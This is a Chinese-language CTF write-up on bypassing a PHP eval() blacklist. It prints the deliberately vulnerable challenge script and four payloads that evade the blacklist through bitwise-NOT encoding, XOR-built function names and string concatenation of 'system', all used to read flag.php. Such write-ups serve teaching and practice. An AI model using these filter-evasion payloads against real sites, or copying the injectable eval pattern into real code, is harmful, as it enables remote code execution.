前几天拿到了线下赛的源码,做做看。这道主要是命令执行的黑名单绕过
先看看给出的代码:
<?php highlight_file(__FILE__); error_reporting(0); $blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"]; $blacklist = array_merge($blacklist, get_defined_functions()['internal']); foreach($blacklist as $i){ if(stristr($_GET[cmd], $i)!==false){ die('hack'); } } eval($_GET[cmd]); ?>
可以看到把内置定义的函数和一些敏感函数都加入了Blacklist,下面这道题的两种解法:
1.取反或异或绕过
已知flag在flag.php文件中,直接构造读取flag.php文件的取反Payload:
(~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));
发送请求源代码得到Flag:
同样的,构造一个异或Payload也可以读取到文件内容:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile
2.字符串拼接绕过
这个是赛事主办方给出的ppt上的解法,是通过赋值变量然后拼接字符串实现的命令执行
第一个Payload是通过拼接函数名实现的:
$a='sys'.'tem';$a("cat flag.php");
第二个Payload是通过拼接语句实现的:
$a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);
原理都是一样的,就不过多赘述了,啥也不是,散会!